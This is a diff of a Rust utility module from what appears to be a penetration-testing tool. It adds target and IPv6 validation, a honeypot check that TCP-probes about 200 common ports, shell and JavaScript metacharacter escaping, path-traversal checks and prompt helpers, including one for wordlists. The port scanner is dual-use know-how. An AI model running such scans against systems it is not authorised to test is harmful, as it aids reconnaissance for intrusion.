let inner = sanitized.trim_matches(|c| c == '[' || c == ']');
|
||||
if inner.is_empty() {
|
||||
return Err(anyhow!("Invalid target: empty address"));
|
||||
}
|
||||
return Ok(sanitized.to_string());
|
||||
}
|
||||
|
||||
// Detect IPv6 addresses (multiple colons, no dots)
|
||||
|
||||
// Check if it contains a port (format: host:port or ip:port)
|
||||
let colon_count = sanitized.matches(':').count();
|
||||
let has_dots = sanitized.contains('.');
|
||||
|
||||
// IPv6 detection: multiple colons and no dots (or dots only in port)
|
||||
let is_ipv6 = colon_count >= 2 && !has_dots;
|
||||
// IPv6 detection: multiple colons typically indicates IPv6
|
||||
let is_likely_ipv6 = colon_count >= 2 && !has_dots;
|
||||
|
||||
// Additional IPv6 validation
|
||||
if is_ipv6 {
|
||||
// Check for valid IPv6 characters
|
||||
let ipv6_re = Regex::new(r"^[0-9a-fA-F:]+$").unwrap();
|
||||
let addr_part = sanitized.split(':').next().unwrap_or("");
|
||||
if !ipv6_re.is_match(addr_part) && !addr_part.is_empty() {
|
||||
if is_likely_ipv6 {
|
||||
// IPv6 address (may or may not have port)
|
||||
if let Some(last_colon_pos) = sanitized.rfind(':') {
|
||||
// Check if last colon is part of IPv6 or port separator
|
||||
let before_colon = &sanitized[..last_colon_pos];
|
||||
let after_colon = &sanitized[last_colon_pos + 1..];
|
||||
|
||||
// If after colon is all digits, it's likely a port
|
||||
if after_colon.chars().all(|c| c.is_ascii_digit()) && !after_colon.is_empty() {
|
||||
let port: u16 = after_colon.parse()
|
||||
.map_err(|_| anyhow!("Invalid port number: '{}'", after_colon))?;
|
||||
if port == 0 {
|
||||
return Err(anyhow!("Port cannot be 0"));
|
||||
}
|
||||
|
||||
// Validate IPv6 part
|
||||
if !is_valid_ipv6(before_colon) {
|
||||
return Err(anyhow!("Invalid IPv6 address: '{}'", before_colon));
|
||||
}
|
||||
return Ok(format!("[{}]:{}", before_colon, port));
|
||||
}
|
||||
}
|
||||
|
||||
// IPv6 without port
|
||||
if !is_valid_ipv6(&sanitized) {
|
||||
return Err(anyhow!("Invalid IPv6 address format: '{}'", sanitized));
|
||||
}
|
||||
Ok(format!("[{}]", sanitized))
|
||||
} else {
|
||||
// Validate hostname/IPv4 format
|
||||
// Basic validation: no spaces, reasonable characters
|
||||
if sanitized.contains(' ') {
|
||||
return Err(anyhow!("Invalid target format: contains spaces"));
|
||||
}
|
||||
|
||||
// Check for valid hostname/IPv4/CIDR characters (allow / for CIDR notation)
|
||||
let host_re = Regex::new(r"^[a-zA-Z0-9.\-_:/]+$").unwrap();
|
||||
if !host_re.is_match(&sanitized) {
|
||||
return Err(anyhow!("Invalid target format: contains invalid characters"));
|
||||
}
|
||||
|
||||
Ok(sanitized.to_string())
|
||||
return Ok(format!("[{}]", sanitized));
|
||||
}
|
||||
|
||||
// IPv4 or hostname (may have port)
|
||||
if sanitized.contains(':') {
|
||||
if let Some(colon_pos) = sanitized.rfind(':') {
|
||||
let host_part = &sanitized[..colon_pos];
|
||||
let port_str = &sanitized[colon_pos + 1..];
|
||||
|
||||
if port_str.is_empty() {
|
||||
return Err(anyhow!("Invalid port format: missing port number"));
|
||||
}
|
||||
|
||||
let port: u16 = port_str.parse()
|
||||
.map_err(|_| anyhow!("Invalid port number: '{}'", port_str))?;
|
||||
if port == 0 {
|
||||
return Err(anyhow!("Port cannot be 0"));
|
||||
}
|
||||
|
||||
// Validate host part
|
||||
if host_part.is_empty() {
|
||||
return Err(anyhow!("Invalid target: empty hostname/IP"));
|
||||
}
|
||||
|
||||
// Validate hostname/IPv4 format
|
||||
if !is_valid_hostname_or_ipv4(host_part) {
|
||||
return Err(anyhow!("Invalid hostname or IPv4 address: '{}'", host_part));
|
||||
}
|
||||
|
||||
return Ok(format!("{}:{}", host_part, port));
|
||||
}
|
||||
}
|
||||
|
||||
// No port - just hostname or IPv4
|
||||
if sanitized.contains(' ') {
|
||||
return Err(anyhow!("Invalid target format: contains spaces (did you mean to include a port?)"));
|
||||
}
|
||||
|
||||
// Validate hostname/IPv4 format
|
||||
if !is_valid_hostname_or_ipv4(&sanitized) {
|
||||
return Err(anyhow!("Invalid hostname or IPv4 address format: '{}'", sanitized));
|
||||
}
|
||||
|
||||
Ok(sanitized.to_string())
|
||||
}
|
||||
|
||||
/// Validate IPv6 address format (basic validation)
|
||||
/// Supports compressed notation (::), mixed IPv4/IPv6 (::ffff:192.168.1.1), etc.
|
||||
fn is_valid_ipv6(addr: &str) -> bool {
|
||||
if addr.is_empty() {
|
||||
return false;
|
||||
}
|
||||
|
||||
// Check for valid IPv6 characters: hex digits, colons, and dots (for IPv4-mapped)
|
||||
static IPV6_CHAR_RE: Lazy<Regex> = Lazy::new(|| Regex::new(r"^[0-9a-fA-F:.]+$").expect("Invalid Regex"));
|
||||
if !IPV6_CHAR_RE.is_match(addr) {
|
||||
return false;
|
||||
}
|
||||
|
||||
// Check for valid :: usage (only one allowed, and not at start/end unless it's ::1 style)
|
||||
let double_colon_count = addr.matches("::").count();
|
||||
if double_colon_count > 1 {
|
||||
return false;
|
||||
}
|
||||
|
||||
// Handle special cases
|
||||
if addr == "::" || addr == "::1" {
|
||||
return true;
|
||||
}
|
||||
|
||||
// Check for IPv4-mapped IPv6 (::ffff:192.168.1.1 or similar)
|
||||
if addr.contains('.') {
|
||||
// Must be in format like ::ffff:192.168.1.1
|
||||
let parts: Vec<&str> = addr.rsplitn(2, ':').collect();
|
||||
if parts.len() == 2 {
|
||||
let ipv4_part = parts[0];
|
||||
// Validate IPv4 part
|
||||
let ipv4_parts: Vec<&str> = ipv4_part.split('.').collect();
|
||||
if ipv4_parts.len() == 4 {
|
||||
let is_valid_ipv4 = ipv4_parts.iter().all(|part| {
|
||||
part.parse::<u8>().is_ok()
|
||||
});
|
||||
if is_valid_ipv4 {
|
||||
// Valid IPv4-mapped IPv6
|
||||
return true;
|
||||
}
|
||||
}
|
||||
}
|
||||
return false;
|
||||
}
|
||||
|
||||
// Split by colons to validate segments
|
||||
let segments: Vec<&str> = addr.split(':').collect();
|
||||
|
||||
// With :: compression, we can have fewer than 8 segments
|
||||
// Without ::, we need exactly 8 segments
|
||||
if double_colon_count == 0 {
|
||||
// No compression - must have exactly 8 segments
|
||||
if segments.len() != 8 {
|
||||
return false;
|
||||
}
|
||||
} else {
|
||||
// With compression - can have 2-7 segments
|
||||
if segments.len() < 2 || segments.len() > 7 {
|
||||
return false;
|
||||
}
|
||||
}
|
||||
|
||||
// Validate each segment (except empty ones from ::)
|
||||
for segment in &segments {
|
||||
if segment.is_empty() {
|
||||
continue; // Empty segment from :: compression
|
||||
}
|
||||
if segment.len() > 4 {
|
||||
return false; // Each segment max 4 hex digits
|
||||
}
|
||||
// Validate hex digits
|
||||
if !segment.chars().all(|c| c.is_ascii_hexdigit()) {
|
||||
return false;
|
||||
}
|
||||
}
|
||||
|
||||
true
|
||||
}
|
||||
|
||||
/// Validate hostname or IPv4 address format
|
||||
fn is_valid_hostname_or_ipv4(host: &str) -> bool {
|
||||
if host.is_empty() {
|
||||
return false;
|
||||
}
|
||||
|
||||
// Check for valid characters (alphanumeric, dots, hyphens, underscores)
|
||||
static HOST_RE: Lazy<Regex> = Lazy::new(|| Regex::new(r"^[a-zA-Z0-9.\-_]+$").expect("Invalid Regex"));
|
||||
if !HOST_RE.is_match(host) {
|
||||
return false;
|
||||
}
|
||||
|
||||
// Check if it looks like IPv4 (contains dots and all segments are numeric)
|
||||
if host.contains('.') {
|
||||
let parts: Vec<&str> = host.split('.').collect();
|
||||
if parts.len() == 4 {
|
||||
// Could be IPv4 - validate each octet
|
||||
let is_ipv4 = parts.iter().all(|part| {
|
||||
part.parse::<u8>().is_ok()
|
||||
});
|
||||
if is_ipv4 {
|
||||
return true; // Valid IPv4
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// Hostname validation: must start and end with alphanumeric
|
||||
if host.starts_with('.') || host.ends_with('.') {
|
||||
return false;
|
||||
}
|
||||
|
||||
if host.starts_with('-') || host.ends_with('-') {
|
||||
return false;
|
||||
}
|
||||
|
||||
// Check hostname length (max 253 characters per RFC)
|
||||
if host.len() > 253 {
|
||||
return false;
|
||||
}
|
||||
|
||||
// Check individual label length (max 63 characters per RFC)
|
||||
for label in host.split('.') {
|
||||
if label.len() > 63 {
|
||||
return false;
|
||||
}
|
||||
}
|
||||
|
||||
true
|
||||
}
|
||||
|
||||
/// Recursively list .rs files up to a certain depth with security checks
|
||||
@@ -335,8 +598,8 @@ fn validate_proxy_url(url: &Url) -> Result<()> {
|
||||
}
|
||||
|
||||
// Validate hostname format (basic check)
|
||||
let host_re = Regex::new(r"^[a-zA-Z0-9.\-_:\[\]]+$").unwrap();
|
||||
if !host_re.is_match(host) {
|
||||
static PROXY_HOST_RE: Lazy<Regex> = Lazy::new(|| Regex::new(r"^[a-zA-Z0-9.\-_:\[\]]+$").expect("Invalid Regex"));
|
||||
if !PROXY_HOST_RE.is_match(host) {
|
||||
return Err(anyhow!("invalid proxy host format"));
|
||||
}
|
||||
|
||||
@@ -642,3 +905,524 @@ async fn check_proxy(proxy: &str, test_url: &str, timeout: Duration) -> Result<(
|
||||
|
||||
Ok(())
|
||||
}
|
||||
|
||||
/// Extract IP address or hostname from target string.
|
||||
/// Handles formats: IP:port, [IPv6]:port, hostname:port, CIDR notation
|
||||
/// Returns the host/IP part without port or brackets.
|
||||
fn extract_ip_from_target(target: &str) -> Option<String> {
|
||||
let trimmed = target.trim();
|
||||
|
||||
// Handle CIDR notation: extract network part before /
|
||||
if let Some(slash_pos) = trimmed.find('/') {
|
||||
let network_part = &trimmed[..slash_pos];
|
||||
return extract_ip_from_target(network_part);
|
||||
}
|
||||
|
||||
// Handle IPv6 with brackets: [::1]:8080 or [::1]
|
||||
if trimmed.starts_with('[') {
|
||||
if let Some(bracket_end) = trimmed.find(']') {
|
||||
let ipv6_part = &trimmed[1..bracket_end];
|
||||
return Some(ipv6_part.to_string());
|
||||
}
|
||||
// Malformed - missing closing bracket, but try to extract anyway
|
||||
return Some(trimmed.trim_start_matches('[').to_string());
|
||||
}
|
||||
|
||||
// Handle IPv4 or hostname with port: 192.168.1.1:8080 or hostname:8080
|
||||
if let Some(colon_pos) = trimmed.rfind(':') {
|
||||
let before_colon = &trimmed[..colon_pos];
|
||||
let after_colon = &trimmed[colon_pos + 1..];
|
||||
|
||||
// Check if after colon is a port (all digits)
|
||||
if after_colon.chars().all(|c| c.is_ascii_digit()) && !after_colon.is_empty() {
|
||||
// It's a port - extract host part
|
||||
// But check if before_colon is IPv6 (multiple colons)
|
||||
let colon_count = before_colon.matches(':').count();
|
||||
if colon_count >= 2 {
|
||||
// IPv6 address - return as is (without brackets)
|
||||
return Some(before_colon.to_string());
|
||||
}
|
||||
// IPv4 or hostname - return host part
|
||||
return Some(before_colon.to_string());
|
||||
}
|
||||
}
|
||||
|
||||
// No port or malformed - check if it's IPv6 (multiple colons)
|
||||
let colon_count = trimmed.matches(':').count();
|
||||
if colon_count >= 2 {
|
||||
// IPv6 without brackets - return as is
|
||||
return Some(trimmed.to_string());
|
||||
}
|
||||
|
||||
// No port - return as is (IPv4 or hostname)
|
||||
Some(trimmed.to_string())
|
||||
}
|
||||
|
||||
/// Perform a lightweight honeypot check by probing common ports.
|
||||
/// If 11 or more ports are open, warns that the target is likely a honeypot.
|
||||
pub async fn basic_honeypot_check(target: &str) {
|
||||
// Extract IP address from target (handles IP:port format)
|
||||
let ip = match extract_ip_from_target(target) {
|
||||
Some(ip) => ip,
|
||||
None => {
|
||||
// If we can't extract IP, skip check
|
||||
return;
|
||||
}
|
||||
};
|
||||
|
||||
// Skip check for hostnames (contains non-IP characters)
|
||||
if ip.contains(|c: char| c.is_alphabetic() && c != ':') && !ip.contains(':') {
|
||||
// Likely a hostname, skip honeypot check
|
||||
return;
|
||||
}
|
||||
|
||||
println!();
|
||||
println!("{}", "╔══════════════════════════════════════════════╗".bright_yellow());
|
||||
println!("{}", "║ HONEYPOT DETECTION CHECK ║".bright_yellow());
|
||||
println!("{}", "╚══════════════════════════════════════════════╝".bright_yellow());
|
||||
println!();
|
||||
println!("[*] Scanning {} common ports on {}...", 200, ip);
|
||||
|
||||
// Common ports typically exposed by network services.
|
||||
const COMMON_PORTS: &[u16] = &[
|
||||
11, 13, 15, 17, 19, 20, 21, 22, 23, 25, 26, 37, 38, 43, 49, 53, 70, 79, 80, 81, 82, 83, 84, 86, 88, 89, 91, 92, 94, 95, 97, 99,
|
||||
101, 102, 104, 110, 111, 113, 119, 143, 154, 161, 175, 177, 179, 180, 189, 195, 221, 234, 243, 263, 264, 285, 311, 314, 385, 389,
|
||||
400, 427, 440, 441, 442, 443, 444, 446, 447, 449, 450, 451, 452, 462, 465, 480, 485, 488, 502, 503, 513, 515, 541, 548, 554, 556,
|
||||
587, 591, 593, 602, 631, 636, 646, 666, 685, 700, 743, 771, 777, 785, 789, 805, 806, 811, 832, 833, 843, 873, 880, 886, 887, 902,
|
||||
953, 990, 992, 993, 995, 998, 999, 1013, 1022, 1023, 1024, 1027, 1080, 1099, 1110, 1111, 1153, 1181, 1188, 1195, 1198, 1200, 1207,
|
||||
1234, 1291, 1292, 1311, 1337, 1366, 1370, 1377, 1388, 1400, 1414, 1433, 1444, 1447, 1451, 1453, 1454, 1457, 1460, 1471, 1521, 1554,
|
||||
1599, 1604, 1605, 1650, 1723, 1741, 1820, 1830, 1883
|
||||
];
|
||||
|
||||
let mut open_count = 0usize;
|
||||
let mut open_ports = Vec::new();
|
||||
|
||||
for &port in COMMON_PORTS {
|
||||
let addr = format!("{}:{}", ip, port);
|
||||
let conn = tokio::time::timeout(
|
||||
std::time::Duration::from_millis(250),
|
||||
tokio::net::TcpStream::connect(&addr),
|
||||
)
|
||||
.await;
|
||||
|
||||
if let Ok(Ok(stream)) = conn {
|
||||
// We only care that the TCP handshake completed; drop immediately.
|
||||
drop(stream);
|
||||
open_count += 1;
|
||||
if open_ports.len() < 20 {
|
||||
open_ports.push(port);
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
println!("[*] Found {} open port(s) out of {} scanned", open_count, COMMON_PORTS.len());
|
||||
|
||||
// Threshold: if 11 or more common ports are open, likely a honeypot
|
||||
if open_count >= 11 {
|
||||
println!();
|
||||
println!("{}", "╔══════════════════════════════════════════════╗".red().bold());
|
||||
println!("{}", "║ ⚠️ HONEYPOT DETECTED ║".red().bold());
|
||||
println!("{}", "╚══════════════════════════════════════════════╝".red().bold());
|
||||
println!();
|
||||
println!(
|
||||
"{}",
|
||||
format!(
|
||||
"[!] Target {} has {} / {} common ports open - likely honeypot",
|
||||
ip,
|
||||
open_count,
|
||||
COMMON_PORTS.len()
|
||||
)
|
||||
.yellow()
|
||||
.bold()
|
||||
);
|
||||
println!("{}", " This is likely a honeypot system".yellow().bold());
|
||||
if open_count <= 20 && !open_ports.is_empty() {
|
||||
println!("{}", format!(" Open ports: {:?}", &open_ports[..open_count.min(20)]).yellow());
|
||||
}
|
||||
println!();
|
||||
} else {
|
||||
println!("{}", "[+] No honeypot indicators detected".green());
|
||||
println!();
|
||||
}
|
||||
}
|
||||
|
||||
/// Validates and sanitizes command input to prevent injection attacks and DoS
|
||||
///
|
||||
/// # Security Features
|
||||
/// - Length limits to prevent DoS
|
||||
/// - Dangerous character filtering
|
||||
/// - Control character removal
|
||||
///
|
||||
/// # Arguments
|
||||
/// - `command`: The command string to validate
|
||||
///
|
||||
/// # Returns
|
||||
/// - `Ok(String)`: Sanitized command if valid
|
||||
/// - `Err`: Error if validation fails
|
||||
pub fn validate_command_input(command: &str) -> Result<String> {
|
||||
let trimmed = command.trim();
|
||||
|
||||
// Check if empty
|
||||
if trimmed.is_empty() {
|
||||
return Err(anyhow!("Command cannot be empty"));
|
||||
}
|
||||
|
||||
// Check length to prevent DoS
|
||||
if trimmed.len() > MAX_COMMAND_LENGTH {
|
||||
return Err(anyhow!(
|
||||
"Command too long (max {} characters, got {})",
|
||||
MAX_COMMAND_LENGTH,
|
||||
trimmed.len()
|
||||
));
|
||||
}
|
||||
|
||||
// Remove dangerous control characters
|
||||
let sanitized: String = trimmed
|
||||
.chars()
|
||||
.filter(|c| !DANGEROUS_CMD_CHARS.contains(c))
|
||||
.collect();
|
||||
|
||||
if sanitized.is_empty() {
|
||||
return Err(anyhow!("Command contains only invalid characters"));
|
||||
}
|
||||
|
||||
Ok(sanitized)
|
||||
}
|
||||
|
||||
/// Validates file path to prevent path traversal attacks
|
||||
///
|
||||
/// # Security Features
|
||||
/// - Path traversal detection (.., //, etc.)
|
||||
/// - Length limits to prevent DoS
|
||||
/// - Control character filtering
|
||||
/// - Absolute path validation (optional)
|
||||
///
|
||||
/// # Arguments
|
||||
/// - `path`: The file path to validate
|
||||
/// - `allow_absolute`: Whether to allow absolute paths
|
||||
///
|
||||
/// # Returns
|
||||
/// - `Ok(String)`: Sanitized path if valid
|
||||
/// - `Err`: Error if validation fails
|
||||
pub fn validate_file_path(path: &str, allow_absolute: bool) -> Result<String> {
|
||||
let trimmed = path.trim();
|
||||
|
||||
// Check if empty
|
||||
if trimmed.is_empty() {
|
||||
return Err(anyhow!("File path cannot be empty"));
|
||||
}
|
||||
|
||||
// Check length to prevent DoS
|
||||
if trimmed.len() > MAX_PATH_LENGTH {
|
||||
return Err(anyhow!(
|
||||
"File path too long (max {} characters, got {})",
|
||||
MAX_PATH_LENGTH,
|
||||
trimmed.len()
|
||||
));
|
||||
}
|
||||
|
||||
// Check for path traversal attempts
|
||||
if trimmed.contains("..") {
|
||||
return Err(anyhow!("Path traversal detected: '..' not allowed"));
|
||||
}
|
||||
|
||||
// Check for double slashes (potential traversal)
|
||||
if trimmed.contains("//") {
|
||||
return Err(anyhow!("Invalid path format: double slashes not allowed"));
|
||||
}
|
||||
|
||||
// Check for control characters
|
||||
if trimmed.chars().any(|c| c.is_control()) {
|
||||
return Err(anyhow!("File path cannot contain control characters"));
|
||||
}
|
||||
|
||||
// Check for absolute paths if not allowed
|
||||
if !allow_absolute {
|
||||
if trimmed.starts_with('/') || (cfg!(windows) && trimmed.chars().nth(1) == Some(':')) {
|
||||
return Err(anyhow!("Absolute paths not allowed"));
|
||||
}
|
||||
}
|
||||
|
||||
// Basic path validation - ensure it's a reasonable path
|
||||
let _path_obj = Path::new(trimmed);
|
||||
|
||||
// Check for null bytes (shouldn't happen after trim, but double-check)
|
||||
if trimmed.contains('\x00') {
|
||||
return Err(anyhow!("File path cannot contain null bytes"));
|
||||
}
|
||||
|
||||
// On Windows, check for invalid characters
|
||||
#[cfg(windows)]
|
||||
{
|
||||
const INVALID_CHARS: &[char] = &['<', '>', ':', '"', '|', '?', '*'];
|
||||
if trimmed.chars().any(|c| INVALID_CHARS.contains(&c)) {
|
||||
return Err(anyhow!("File path contains invalid characters for Windows"));
|
||||
}
|
||||
}
|
||||
|
||||
Ok(trimmed.to_string())
|
||||
}
|
||||
|
||||
/// Escapes shell metacharacters in a command string to prevent command injection
|
||||
///
|
||||
/// # Security Features
|
||||
/// - Escapes all shell metacharacters: $, `, |, &, ;, >, <, (, ), {, }, [, ], *, ?, ~, !, #
|
||||
/// - Handles quotes and backslashes
|
||||
/// - Prevents command chaining and injection
|
||||
///
|
||||
/// # Arguments
|
||||
/// - `cmd`: The command string to escape
|
||||
///
|
||||
/// # Returns
|
||||
/// - Escaped command string safe for shell execution
|
||||
pub fn escape_shell_command(cmd: &str) -> String {
|
||||
let mut escaped = String::with_capacity(cmd.len() * 2);
|
||||
|
||||
for ch in cmd.chars() {
|
||||
match ch {
|
||||
// Shell metacharacters that need escaping
|
||||
'$' | '`' | '|' | '&' | ';' | '>' | '<' | '(' | ')' | '{' | '}' | '[' | ']' | '*' | '?' | '~' | '!' | '#' => {
|
||||
escaped.push('\\');
|
||||
escaped.push(ch);
|
||||
}
|
||||
// Quotes and backslashes
|
||||
'"' | '\'' | '\\' => {
|
||||
escaped.push('\\');
|
||||
escaped.push(ch);
|
||||
}
|
||||
// Newlines and other control characters
|
||||
'\n' => {
|
||||
escaped.push_str("\\n");
|
||||
}
|
||||
'\r' => {
|
||||
escaped.push_str("\\r");
|
||||
}
|
||||
'\t' => {
|
||||
escaped.push_str("\\t");
|
||||
}
|
||||
// Regular characters
|
||||
_ => {
|
||||
escaped.push(ch);
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
escaped
|
||||
}
|
||||
|
||||
/// Escapes command for JavaScript/Node.js execSync context
|
||||
///
|
||||
/// # Security Features
|
||||
/// - Escapes backslashes, quotes, and newlines for JavaScript strings
|
||||
/// - Escapes shell metacharacters if the command will be executed in a shell
|
||||
/// - Handles both single and double quotes
|
||||
///
|
||||
/// # Arguments
|
||||
/// - `cmd`: The command string to escape
|
||||
/// - `escape_shell_meta`: Whether to also escape shell metacharacters (default: true)
|
||||
///
|
||||
/// # Returns
|
||||
/// - Escaped command string safe for JavaScript execSync
|
||||
pub fn escape_js_command(cmd: &str, escape_shell_meta: bool) -> String {
|
||||
let mut escaped = String::with_capacity(cmd.len() * 2);
|
||||
|
||||
for ch in cmd.chars() {
|
||||
match ch {
|
||||
// JavaScript string escaping
|
||||
'\\' => {
|
||||
escaped.push_str("\\\\");
|
||||
}
|
||||
'"' => {
|
||||
escaped.push_str("\\\"");
|
||||
}
|
||||
'\'' => {
|
||||
escaped.push_str("\\'");
|
||||
}
|
||||
'\n' => {
|
||||
escaped.push_str("\\n");
|
||||
}
|
||||
'\r' => {
|
||||
escaped.push_str("\\r");
|
||||
}
|
||||
'\t' => {
|
||||
escaped.push_str("\\t");
|
||||
}
|
||||
// Shell metacharacters (if execSync uses shell)
|
||||
ch if escape_shell_meta && matches!(ch, '$' | '`' | '|' | '&' | ';' | '>' | '<' | '(' | ')' | '{' | '}' | '[' | ']' | '*' | '?' | '~' | '!' | '#') => {
|
||||
escaped.push('\\');
|
||||
escaped.push(ch);
|
||||
}
|
||||
// Regular characters
|
||||
_ => {
|
||||
escaped.push(ch);
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
escaped
|
||||
}
|
||||
|
||||
/// Validates URL input to prevent injection and ensure proper format
|
||||
///
|
||||
/// # Security Features
|
||||
/// - Length limits
|
||||
/// - URL format validation
|
||||
/// - Dangerous protocol filtering (optional)
|
||||
///
|
||||
/// # Arguments
|
||||
/// - `url`: The URL string to validate
|
||||
/// - `allowed_schemes`: Optional list of allowed URL schemes (e.g., ["http", "https"])
|
||||
///
|
||||
/// # Returns
|
||||
/// - `Ok(String)`: Validated URL if valid
|
||||
/// - `Err`: Error if validation fails
|
||||
pub fn validate_url(url: &str, allowed_schemes: Option<&[&str]>) -> Result<String> {
|
||||
let trimmed = url.trim();
|
||||
|
||||
// Check if empty
|
||||
if trimmed.is_empty() {
|
||||
return Err(anyhow!("URL cannot be empty"));
|
||||
}
|
||||
|
||||
// Check length
|
||||
if trimmed.len() > MAX_COMMAND_LENGTH {
|
||||
return Err(anyhow!(
|
||||
"URL too long (max {} characters, got {})",
|
||||
MAX_COMMAND_LENGTH,
|
||||
trimmed.len()
|
||||
));
|
||||
}
|
||||
|
||||
// Parse URL
|
||||
let parsed_url = Url::parse(trimmed)
|
||||
.map_err(|e| anyhow!("Invalid URL format: {}", e))?;
|
||||
|
||||
// Check scheme if restrictions provided
|
||||
if let Some(schemes) = allowed_schemes {
|
||||
let scheme = parsed_url.scheme();
|
||||
if !schemes.iter().any(|&s| s == scheme) {
|
||||
return Err(anyhow!(
|
||||
"URL scheme '{}' not allowed. Allowed schemes: {:?}",
|
||||
scheme,
|
||||
schemes
|
||||
));
|
||||
}
|
||||
}
|
||||
|
||||
// Validate host exists
|
||||
if parsed_url.host_str().is_none() {
|
||||
return Err(anyhow!("URL must contain a host"));
|
||||
}
|
||||
|
||||
Ok(trimmed.to_string())
|
||||
}
|
||||
|
||||
// ============================================================
|
||||
// INTERACTIVE PROMPT HELPERS
|
||||
// ============================================================
|
||||
|
||||
// use tokio::io::{AsyncBufReadExt, AsyncWriteExt}; // Removed unused imports
|
||||
|
||||
/// Prompts the user for input, ensuring it is not empty.
|
||||
pub async fn prompt_required(msg: &str) -> Result<String> {
|
||||
loop {
|
||||
print!("{}", format!("{}: ", msg).cyan().bold());
|
||||
std::io::stdout().flush().context("Failed to flush stdout")?;
|
||||
let mut s = String::new();
|
||||
std::io::stdin().read_line(&mut s).context("Failed to read input")?;
|
||||
let trimmed = s.trim();
|
||||
if !trimmed.is_empty() {
|
||||
return Ok(trimmed.to_string());
|
||||
}
|
||||
println!("{}", "This field is required.".yellow());
|
||||
}
|
||||
}
|
||||
|
||||
/// Prompts the user for input, using a default value if empty.
|
||||
pub async fn prompt_default(msg: &str, default: &str) -> Result<String> {
|
||||
print!("{}", format!("{} [{}]: ", msg, default).cyan().bold());
|
||||
std::io::stdout().flush().context("Failed to flush stdout")?;
|
||||
let mut s = String::new();
|
||||
std::io::stdin().read_line(&mut s).context("Failed to read input")?;
|
||||
let trimmed = s.trim();
|
||||
Ok(if trimmed.is_empty() {
|
||||
default.to_string()
|
||||
} else {
|
||||
trimmed.to_string()
|
||||
})
|
||||
}
|
||||
|
||||
/// Prompts the user for a yes/no answer.
|
||||
pub async fn prompt_yes_no(msg: &str, default_yes: bool) -> Result<bool> {
|
||||
let default = if default_yes { "y" } else { "n" };
|
||||
loop {
|
||||
print!("{}", format!("{} (y/n) [{}]: ", msg, default).cyan().bold());
|
||||
std::io::stdout().flush().context("Failed to flush stdout")?;
|
||||
let mut s = String::new();
|
||||
std::io::stdin().read_line(&mut s).context("Failed to read input")?;
|
||||
match s.trim().to_lowercase().as_str() {
|
||||
"" => return Ok(default_yes),
|
||||
"y" | "yes" => return Ok(true),
|
||||
"n" | "no" => return Ok(false),
|
||||
_ => println!("{}", "Invalid input. Please enter 'y' or 'n'.".yellow()),
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
pub async fn prompt_int_range(msg: &str, default: i64, min: i64, max: i64) -> Result<i64> {
|
||||
loop {
|
||||
let input = prompt_default(msg, &default.to_string()).await?;
|
||||
match input.trim().parse::<i64>() {
|
||||
Ok(n) if n >= min && n <= max => return Ok(n),
|
||||
_ => println!("{}", format!("Please enter a number between {} and {}.", min, max).yellow()),
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
pub async fn prompt_wordlist(msg: &str) -> Result<String> {
|
||||
loop {
|
||||
let input = prompt_required(msg).await?;
|
||||
let path = Path::new(&input);
|
||||
if !path.exists() {
|
||||
println!("{}", format!("File '{}' does not exist.", input).yellow());
|
||||
continue;
|
||||
}
|
||||
if !path.is_file() {
|
||||
println!("{}", format!("'{}' is not a regular file.", input).yellow());
|
||||
continue;
|
||||
}
|
||||
return Ok(input);
|
||||
}
|
||||
}
|
||||
|
||||
/// Prompts for an existing file path.
|
||||
pub async fn prompt_existing_file(msg: &str) -> Result<String> {
|
||||
loop {
|
||||
let candidate = prompt_required(msg).await?;
|
||||
if Path::new(&candidate).is_file() {
|
||||
return Ok(candidate);
|
||||
} else {
|
||||
println!("{}", format!("File '{}' does not exist or is not a regular file.", candidate).yellow());
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
/// Helper to load lines from a file.
|
||||
pub fn load_lines<P: AsRef<Path>>(path: P) -> Result<Vec<String>> {
|
||||
let file = fs::File::open(path.as_ref())
|
||||
.with_context(|| format!("Failed to open file '{}'", path.as_ref().display()))?;
|
||||
let reader = BufReader::new(file);
|
||||
Ok(reader
|
||||
.lines()
|
||||
.filter_map(|line| line.ok().map(|s| s.trim().to_string()))
|
||||
.filter(|line| !line.is_empty())
|
||||
.collect())
|
||||
}
|
||||
|
||||
/// Helper to get a safe filename in the current directory.
|
||||
pub fn get_filename_in_current_dir(input: &str) -> std::path::PathBuf {
|
||||
Path::new(input)
|
||||
.file_name()
|
||||
.map(|name_os_str| std::path::PathBuf::from(format!("./{}", name_os_str.to_string_lossy())))
|
||||
.unwrap_or_else(|| std::path::PathBuf::from(input))
|
||||
}
|
||||
|
||||
Reference in New Issue
Block a user